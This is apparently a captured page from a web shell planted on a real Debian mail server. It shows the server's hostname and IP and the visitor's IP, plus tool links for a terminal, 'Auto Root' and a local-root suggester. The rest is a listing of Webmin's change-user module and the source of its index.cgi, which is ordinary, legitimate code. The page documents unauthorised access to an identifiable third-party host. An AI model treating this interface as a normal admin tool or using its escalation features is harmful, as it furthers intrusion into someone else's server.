Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
change-user /
Delete
Unzip
Name
Size
Permission
Date
Action
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
466
B
-rw-r--r--
2026-07-17 21:17
acl_security.pl
803
B
-rwxr-xr-x
2026-07-17 21:17
change-user-lib.pl
620
B
-rwxr-xr-x
2026-07-17 21:17
change.cgi
3.29
KB
-rwxr-xr-x
2026-07-17 21:22
defaultacl
31
B
-rw-r--r--
2026-07-17 21:17
index.cgi
6.24
KB
-rwxr-xr-x
2026-07-17 21:22
module.info
206
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
167
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
19
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
0
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
250
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
140
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
19
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
32
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
120
B
-rw-r--r--
2026-07-17 21:17
module.info.da
0
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
148
B
-rw-r--r--
2026-07-17 21:17
module.info.de
116
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
26
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
291
B
-rw-r--r--
2026-07-17 21:17
module.info.es
32
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
39
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
118
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
227
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
155
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
47
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
150
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
148
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
98
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
19
B
-rw-r--r--
2026-07-17 21:17
module.info.it
35
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
121
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
200
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
33
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
131
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
122
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
19
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
35
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.no
29
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
109
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
144
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
28
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
0
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
151
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
32
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
127
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
44
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
209
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
32
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
0
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
167
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
31
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
141
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
242
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
217
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
0
B
-rw-r--r--
2026-07-17 21:17
module.info.zh.auto
139
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
39
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
115
B
-rw-r--r--
2026-07-17 21:17
safeacl
31
B
-rw-r--r--
2026-07-17 21:17
Save
Rename
#!/usr/bin/perl # index.cgi # Display the user's current language, theme and password use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require './change-user-lib.pl'; our (%text, %access, $base_remote_user, $default_lang, %gconfig); &ui_print_header(undef, $text{'index_title'}, "", undef, 0, 1); my @users = &acl::list_users(); my ($user) = grep { $_->{'name'} eq $base_remote_user } @users; my $locale_auto = &parse_accepted_language(); my @can; push(@can, 'lang') if ($access{'lang'}); push(@can, 'theme') if ($access{'theme'}); push(@can, 'pass') if ($access{'pass'} && &can_change_pass($user)); my $can = &text('index_d'.scalar(@can), map { $text{'index_d'.$_} } @can); print &text('index_desc2', $can),"<p>\n"; print &ui_form_start("change.cgi", "post"); print &ui_table_start(undef, undef, 2); if ($access{'lang'}) { # Show personal language my $glang = $locale_auto || safe_language($gconfig{"lang"}) || $default_lang; my $ulang = safe_language($user->{'lang'}); my @langs = &list_languages(); my ($linfo) = grep { $_->{'lang'} eq $glang } @langs; my ($ulinfo); if ($ulang) { ($ulinfo) = grep { $_->{'lang'} eq $ulang } @langs; } my $ulangused = ($ulang && $ulang ne $glang); my $ulangauto = $user->{'langauto'}; my $ulangneutral = $user->{'langneutral'}; if (!defined($user->{'langauto'})) { if ($ulangused) { $ulangauto = $ulinfo->{'auto'}; } else { $ulangauto = defined($gconfig{"langauto"}) ? $gconfig{"langauto"} : $linfo->{'auto'}; } } if (!defined($user->{'langneutral'}) && $ulangused) { $ulangneutral = $ulinfo->{'neutral'}; } my $selectjs = <<EOF; <script> (function () { const select = document.querySelector('select[name="lang"]'), span = document.querySelector('span[data-neutral]'), checkbox = document.querySelector('input[name="langneutral"]'); const update = function() { const selected = select.options[select.selectedIndex], show = selected.getAttribute('data-neutral') === '1'; span.style.visibility = show ? 'visible' : 'hidden'; if (!show) checkbox.checked = false; } update(); select.addEventListener('change', update); })(); </script> EOF print &ui_table_row($text{'index_lang'}, &ui_radio("lang_def", $ulang ? 0 : 1, [ [ 1, &text('index_langglobal2', $linfo->{'desc'}, $linfo->{'lang'})."<br>" ], [ 0, $text{'index_langset'} ] ])." ". &ui_select("lang", $ulang, [ map { [ $_->{'lang'}, $_->{'desc'}, "data-neutral='$_->{'neutral'}'" ] } &list_languages() ]) . "<wbr data-group><span data-nowrap> ". &ui_checkbox("langauto", 1, $text{'langauto_include'}, $ulangauto). " <span data-neutral>". &ui_checkbox("langneutral", 1, $text{'langneutral_include'}, $ulangneutral). "</span>". "</span>$selectjs", undef, [ "valign=top","valign=top" ]); } # Old datetime format or a new locale if ($access{'locale'}) { &foreign_require('webmin'); eval "use DateTime; use DateTime::Locale; use DateTime::TimeZone;"; if (!$@ && $] > 5.011) { my $locales = &list_locales(); my %localesrev = reverse %{$locales}; my $locale = $locale_auto || $gconfig{'locale'} || &get_default_system_locale(); print &ui_table_row($text{'index_locale'}, &ui_radio("locale_def", defined($user->{'locale'}) ? 0 : 1, [ [ 1, &text('index_localeglobal2', $locales->{$locale}, $locale)."<br>" ], [ 0, $text{'index_localeset'} ] ])." ". &ui_select("locale", $user->{'locale'}, [ map { [ $localesrev{$_}, $_ ] } sort values %{$locales} ] ), undef, [ "valign=top","valign=top" ]); } else { my %wtext = &load_language('webmin'); print &ui_table_row($text{'index_locale2'}, &ui_radio("dateformat_def", defined($user->{'dateformat'}) ? 0 : 1, [ [ 1, &text('index_dateformatglobal2', $gconfig{'dateformat'} || "dd/mon/yyyy")."<br>" ], [ 0, $text{'index_dateformatset'} ] ])." ". &ui_select("dateformat", $user->{'dateformat'} || "dd/mon/yyyy", [ map { [ $_, $wtext{'lang_dateformat_'.$_} ] } @webmin::webmin_date_formats ] ), undef, [ "valign=top","valign=top" ]); } } if ($access{'theme'}) { # Show personal theme my %tinfo = (); my $tname; if ($gconfig{'theme'}) { my ($gtheme, $goverlay) = split(/\s+/, $gconfig{'theme'}); %tinfo = &webmin::get_theme_info($gtheme); $tname = $tinfo{'desc'}; } else { $tname = $text{'index_themedef'}; } my @all = &webmin::list_visible_themes($user->{'theme'}); my @themes = grep { !$_->{'overlay'} } @all; my @overlays = grep { $_->{'overlay'} } @all; # Main theme my $tconf_link; if ($user->{'theme'} && $user->{'theme'} eq $tinfo{'dir'} && $tinfo{'config_link'}) { $tconf_link = &ui_tag('span', &ui_link( "@{[&get_webprefix()]}/$tinfo{'config_link'}", &ui_tag('span', '⚙', { class => 'theme-config-char', title => $text{'themes_configure'} }), 'text-link'), { style => 'position: relative;' }); } print &ui_table_row($text{'index_theme'}, &ui_radio("theme_def", defined($user->{'theme'}) ? 0 : 1, [ [ 1, &text('index_themeglobal', $tname)."<br>" ], [ 0, $text{'index_themeset'} ] ])." ". &ui_select("theme", $user->{'theme'}, [ !$user->{'theme'} ? [ '', $text{'index_themedef'} ] : (), map { [ $_->{'dir'}, $_->{'desc'} ] } @themes ]).$tconf_link, undef, [ "valign=top","valign=top" ]); # Overlay, if any if (@overlays) { print &ui_table_row($text{'index_overlay'}, &ui_select("overlay", $user->{'overlay'}, [ [ '', $text{'index_overlaydef'} ], map { [ $_->{'dir'}, $_->{'desc'} ] } @overlays ]), undef, [ "valign=middle","valign=middle" ]); } } if ($access{'pass'} && &can_change_pass($user)) { # Show password print &ui_table_row($text{'index_pass'}, &ui_radio("pass_def", 1, [ [ 1, $text{'index_passleave'}."<br>" ], [ 0, $text{'index_passset'} ] ])." ". &ui_password("pass", undef, 20)." ". $text{'index_passagain'}." ". &ui_password("pass2", undef, 20), undef, [ "valign=top","valign=middle" ]); } print &ui_table_end(); print &ui_form_end([ [ undef, $text{'index_ok'} ] ]); &ui_print_footer("/", $text{'index'});